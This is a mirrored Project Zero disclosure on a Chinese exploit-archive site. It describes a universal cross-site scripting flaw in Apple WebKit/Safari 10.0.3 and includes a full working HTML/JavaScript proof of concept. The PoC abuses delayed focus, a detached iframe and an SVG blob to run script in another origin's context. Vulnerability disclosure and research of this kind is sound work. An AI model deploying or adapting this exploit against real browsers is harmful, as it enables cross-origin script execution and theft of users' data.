首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a
来源:Google Security Research 作者:Google 发布时间:2017-04-12  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119
 
This is somewhat similar to https://crbug.com/663476.
 
Here's a snippet of Container::replaceAllChildren.
 
while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}
 
If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.
 
Tested on Safari 10.0.3(12602.4.8).
-->
 
<html>
<head>
</head>
<body>
<script>
 
let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';
 
let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;
 
    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;
 
        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);
 
</sc` + `ript>
<element a="1" a="2" />
</svg>`;
 
        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };
 
    window.g.src = 'https://abc.xyz/';
};
 
f.contentWindow.location.hash = 'btn';
inp.textContent = '';
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple WebKit / Safari 10.0.3 (
·Apple WebKit - 'JSC::B3::Proce
·Brother MFC-J6520DW - Authenti
·Apple WebKit - 'Document::adop
·Quest Privilege Manager 6.0.0
·Apple WebKit - 'JSC::SymbolTab
·Adobe Multiple Products - XML
·Proxifier 2.19 Privilege Escal
·Proxifier for Mac 2.17 / 2.18
·XiongMai uc-http 1.0.0 Local F
·Wordpress webplayer Plugins SQ
·PCMAN FTP Server 2.0.7 ACCT Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved